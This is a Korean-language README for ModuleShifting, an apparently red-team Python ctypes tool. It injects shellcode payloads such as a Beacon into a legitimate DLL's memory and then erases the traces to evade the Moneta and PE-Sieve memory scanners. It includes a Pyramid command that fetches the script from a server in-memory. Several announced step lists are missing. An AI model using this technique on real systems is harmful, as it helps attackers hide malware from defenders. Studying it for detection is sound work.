
더 은밀한 모듈 스톰핑(Module Stomping) 및 모듈 오버로딩(Module Overloading) 인젝션 기법의 변형으로, 메모리 IoC를 줄입니다. Python ctypes로 구현됨.
이 도구는 2023 x33fcon 발표: "메모리 인젝션 기법의 은밀성 개선" [비디오] [블로그 포스트] 에서 발표되었습니다.
ModuleShifting은 Module Stomping 및 Module Overloading 인젝션 기법보다 더 은밀한 변형입니다. 실제로 Python ctypes로 구현되어 Python 인터프리터와 Pyramid를 통해 완전히 메모리 내에서 실행될 수 있으므로, 컴파일된 로더를 사용할 필요가 없습니다.
이 기법은 PE 또는 셸코드 페이로드와 함께 사용할 수 있지만, 더 은밀한 변형은 셸코드가 로드하는 최종 페이로드와 기능적으로 독립적이어야 하는 셸코드 페이로드와 함께 사용됩니다.
ModuleShifting은 셸코드 페이로드와 함께 사용될 때 다음 작업을 수행합니다:

PE 페이로드를 사용할 때 ModuleShifting은 다음 작업을 수행합니다:
ModuleShifting은 동적으로 메모리를 할당하지 않고 (즉, VirtualAlloc) 페이로드를 인젝션하는 데 사용할 수 있습니다. Module Stomping 및 Module Overloading과 비교할 때 인젝션 기법 자체에서 생성되는 IoC의 양을 줄이기 때문에 더 은밀합니다.
Module Shifting과 일부 공개된 Module Stomping 구현 (Bobby Cooke의 Ninja_UUID_Runner 및 WithSecure) 간에는 세 가지 주요 차이점이 있습니다:
Module Shifting과 Module Overloading의 차이점은 다음과 같습니다:
기능적으로 독립적인 셸코드 페이로드 (예: AceLdr Beacon Stageless 셸코드 페이로드)를 사용하면 ModuleShifting은 동적으로 메모리를 할당하지 않고 로컬 인젝션을 수행할 수 있으며, 현재 Moneta 및 PE-Sieve 스캔에서 제로 IoC를 생성합니다. AceLdr 슬리핑 페이로드는 Hunt-Sleeping-Beacon과 같은 다른 훌륭한 도구로 탐지될 수 있다는 점을 알고 있지만, 여기서는 페이로드가 아닌 인젝션 기법 자체에 초점을 맞추고 있습니다. 우리의 경우, 더 은밀함을 가능하게 하는 것은 셸코드의 기능적 독립성입니다. 이를 통해 쓰여진 악성 바이트를 원래 내용으로 복원하여 인젝션의 흔적을 효과적으로 지울 수 있습니다.
모든 정보와 내용은 교육 목적으로만 제공됩니다. 지침은 본인의 책임 하에 따르십시오. 저자나 그 고용주는 개인이나 조직이 입은 직접적 또는 결과적 손해나 손실에 대해 책임을 지지 않습니다.
이 작업은 Aleksandra Doniec (@hasherezade), Forest Orr 및 Kyle Avery와 같은 놀라운 사람들이 공유한 지식과 도구 덕분에 가능했습니다. 저는 학습 과정 전반에 걸쳐 Moneta, PeSieve, PE-Bear 및 AceLdr를 많이 사용했으며, 이들은 이 주제에 대한 이해에 핵심적인 역할을 했습니다.
ModuleShifting은 Pyramid 및 Python 인터프리터와 함께 사용하여 로컬 프로세스 인젝션을 완전히 메모리 내에서 실행할 수 있으므로, 컴파일된 로더를 피할 수 있습니다.
git clone https://github.com/naksyn/Pyramid
python3 pyramid.py -u testuser -pass testpass -p 443 -enc chacha20 -passenc superpass -generate -server 192.168.1.2 -setcradle moduleshifting.pyhttps://github.com/naksyn/ModuleShifting/assets/59816245/67fcf888-3385-47da-b828-8a2dafeeb1e2
이 기법을 성공적으로 실행하려면 메모리의 다른 영역에 추가 자체 지속 가능 페이로드를 로드할 수 있는 셸코드 페이로드를 사용해야 합니다. ModuleShifting은 AceLdr 페이로드로 테스트되었으며, 이 페이로드는 힙에 Beacon의 전체 복사본을 로드할 수 있어 초기 셸코드와의 기능적 종속성을 끊습니다. 이 기법은 유사한 기능을 가진 모든 셸코드 페이로드에서 작동합니다. 따라서 초기 셸코드는 실행 후 쓸모없게 되며, IoC로서 메모리에 보관할 이유가 없습니다.
또한 대상 섹션에 셸코드를 위한 충분한 공간이 있는 호스팅 dll을 선택해야 합니다. 그렇지 않으면 기법이 실패합니다.
Module Stomping과 Module Shifting은 합법적인 dll 메모리 공간에 셸코드를 작성해야 합니다. ModuleShifting은 정리 단계 후 이 IoC를 제거하지만, 실시간 검사 기능이 있는 스캐너가 지표를 발견할 수 있습니다.
